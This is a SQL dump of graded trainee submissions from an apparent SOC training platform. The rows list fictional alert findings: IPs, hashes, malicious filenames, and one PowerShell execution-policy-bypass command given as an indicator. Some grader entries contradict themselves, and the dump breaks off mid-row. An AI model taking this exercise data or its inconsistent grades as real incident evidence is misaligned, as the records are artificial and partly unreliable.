(326, 213, 270, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:32:15\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:32:35.654Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:30:51', '2026-02-28 21:00:00', 0, NULL),
(327, 213, 271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:34:07\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:34:08.145Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:32:35', '2026-02-28 21:00:00', 0, NULL),
(328, 213, 272, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:35:25\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:35:25.868Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:34:08', '2026-02-28 21:00:00', 0, NULL),
(329, 213, 274, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:38:14\\nALERT: Phishing Attempt via Weaponized Job Offers [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [EMAIL] recruiter@example.com\\n- [FILENAME] JobOffer.docm\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:38:14.483Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (4/5)\",\"missed_items\":[\"reset_credentials\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:35:33', '2026-02-28 21:00:00', 0, NULL),
(330, 210, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-26 21:36:40', '2026-02-26 21:36:40', 0, NULL),
(331, 213, 275, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.5\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_1\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:39:37\\nALERT: Malicious Code Execution on Developer Systems [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.5\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\\n- [USERNAME] dev_user01\\n- [FILENAME] malicious_script.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:39:42.138Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:38:14', '2026-02-28 21:00:00', 0, NULL),
(332, 213, 276, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-10.0.0.5\",\"ip-203.0.113.45\",\"hash-3f5d8f3e\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:40:58\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 10.0.0.5\\n- [IP] 203.0.113.45\\n- [HASH] 3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\\n- [USERNAME] jdoe\\n- [FILENAME] persistence_tool.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:40:59.803Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:39:42', '2026-02-28 21:00:00', 0, NULL),
(333, 213, 277, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:43:12\\nALERT: Cryptocurrency Exfiltration and Laundering [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [EMAIL] attacker@malicious.com\\n- [FILENAME] exfil_transaction_details.csv\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:43:14.905Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:41:02', '2026-02-28 21:00:00', 0, NULL),
(334, 210, 937, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-192.168.1.10\",\"artifact_2\"],\"selectedActions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\",\"close_alert\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/26/2026, 4:49:51 PM\\nALERT: Unusual Login Failure from Known Safe IP\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 192.168.1.10\\n- [USERNAME] bsmith\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:49:59.093Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-02-26 21:42:08', '2026-02-28 21:00:00', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(335, 213, 278, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:44:40\\nALERT: Compromised Update Detected [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] e5d8870e5bdd26602c622b7e5b0f6b4c\\n- [FILENAME] lib_mgmt.dll\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:44:41.105Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:43:21', '2026-02-28 21:00:00', 0, NULL),
(336, 213, 279, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:45:36\\nALERT: Execution of Malicious Code [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] malicious.dll\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:45:38.784Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:44:41', '2026-02-28 21:00:00', 0, NULL),
(337, 213, 280, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-abc123de\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:46:38\\nALERT: Establish Persistence [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] abc123def4567890abc123def4567890\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:46:38.462Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:45:38', '2026-02-28 21:00:00', 0, NULL),
(338, 213, 281, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.55\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_4\",\"artifact_6\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:47:43\\nALERT: Lateral Movement and Data Exfiltration [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.55\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] confidential_data.xlsx\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:47:43.288Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:46:38', '2026-02-28 21:00:00', 0, NULL),
(339, 213, 285, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.34\",\"ip-10.0.2.15\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:50:00\\nALERT: Spear-Phishing Email Campaign Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.34\\n- [IP] 10.0.2.15\\n- [EMAIL] john.doe@fakeorg.com\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [URL] http://malicious-link.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:50:20.996Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:47:47', '2026-02-28 21:00:00', 0, NULL),
(340, 213, 286, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.14.22.5\",\"ip-203.0.113.45\",\"hash-d41d8cd9\",\"domain-http://login\",\"domain-login-secure\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:52:12\\nALERT: Malicious Domain Infrastructure Identified [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.14.22.5\\n- [IP] 203.0.113.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [DOMAIN] http://login-secure-portal.com/login\\n- [DOMAIN] login-secure-portal.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:52:13.392Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:50:21', '2026-02-28 21:00:00', 0, NULL),
(341, 213, 287, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.25\",\"hash-e99a18c4\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:53:40\\nALERT: OAuth Token Abuse Technique Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.25\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] j.doe@company.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:53:40.267Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:52:13', '2026-02-28 21:00:00', 0, NULL),
(342, 213, 288, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.50\",\"ip-192.168.1.105\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:54:38\\nALERT: Disinformation Campaign Planning Uncovered [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.50\\n- [IP] 192.168.1.105\\n- [HASH] 8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\\n- [FILENAME] election_strategy_2023.pdf\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:54:38.371Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:53:40', '2026-02-28 21:00:00', 0, NULL),
(343, 213, 289, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-26 21:54:45', '2026-02-26 21:54:45', 0, NULL),
(344, 210, 713, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-212.47.229.1\",\"ip-192.168.1.10\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/26/2026, 4:56:35 PM\\nALERT: Failed Login Attempts from Unusual Location\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 212.47.229.1\\n- [IP] 192.168.1.10\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:56:46.733Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:55:01', '2026-02-28 21:00:00', 0, NULL),
(345, 210, 680, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.30.5\",\"ip-192.168.30.10\",\"artifact_2\"],\"selectedActions\":[\"close_alert\",\"collect_forensics\",\"isolate_host\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/26/2026, 5:00:09 PM\\nALERT: Innocuous User Activity Mistaken for Attack\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.30.5\\n- [IP] 192.168.30.10\\n- [USERNAME] jane.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Collect Forensics\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T22:00:13.714Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:57:30', '2026-02-28 21:00:00', 0, NULL),
(346, 189, 290, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"hash-3f0a2f5e\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:28:12 AM\\nALERT: TrickBot Malware Execution [OP: Operation Black Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [HASH] 3f0a2f5e4d3a9b5c7f6e9df123456789\\n- [IP] 34.210.123.158\\n- [FILENAME] trickbot.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-27T02:28:30.484Z\"}', 